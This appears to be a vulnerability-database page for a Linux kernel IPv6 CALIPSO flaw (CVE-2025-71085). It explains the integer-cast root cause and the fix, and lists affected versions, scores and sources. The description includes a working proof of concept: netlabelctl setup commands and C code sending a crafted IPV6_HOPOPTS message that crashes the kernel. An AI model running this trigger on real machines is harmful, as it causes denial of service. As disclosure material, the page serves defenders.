ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Description

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Timeline

Scores

EPSS (exploitation in 30 days)

0.30% · top 76% of all CVEs (9 Nov 2026)

CISA SSVC

Exploitation: none · Automatable: no · Technical impact: partial

The list uses the assigner's score when there is one, then CISA's, then NVD's: High 7.5.

Affected products

• Linux · Linux

  • affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 – < 86f365897068d09418488165a68b23cb5baa37f2
  • affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 – < 6b7522424529556c9cbc15e15e7bd4eeae310910
  • affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 – < 2bb759062efa188ea5d07242a43e5aa5464bbae1
  • affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 – < c53aa6a5086f03f19564096ee084a202a8c738c0
  • affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 – < bf3709738d8a8cc6fa275773170c5c29511a0b24
  • affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 – < 73744ad5696dce0e0f43872aba8de6a83d6ad570
  • affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 – < 58fc7342b529803d3c221101102fe913df7adb83

• Linux · Linux

  • affected 4.8
  • unaffected < 4.8
  • unaffected 5.10.248 – ≤ 5.10.*
  • unaffected 5.15.198 – ≤ 5.15.*
  • unaffected 6.1.160 – ≤ 6.1.*
  • unaffected 6.6.120 – ≤ 6.6.*
  • unaffected 6.12.64 – ≤ 6.12.*
  • unaffected 6.18.4 – ≤ 6.18.*
  • unaffected 6.19 – ≤ *

Sources

The same CVE in the primary databases and aggregators, to check against.

• CVE.org record (opens in a new tab)
• CVE List JSON (GitHub) (opens in a new tab)
• NVD (opens in a new tab)
• FIRST EPSS (opens in a new tab)
• EUVD EUVD-2026-2249 (opens in a new tab)
• OSV.dev (opens in a new tab)
• GitHub Advisories (opens in a new tab)
• CIRCL Vulnerability-Lookup (opens in a new tab)

Badge for a README or a ticket

[![CVE-2025-71085](https://cveledger.app/badge/CVE-2025-71085.svg)](https://cveledger.app/cve/CVE-2025-71085)

Record last updated 19 Oct 2026, 18:15 UTC.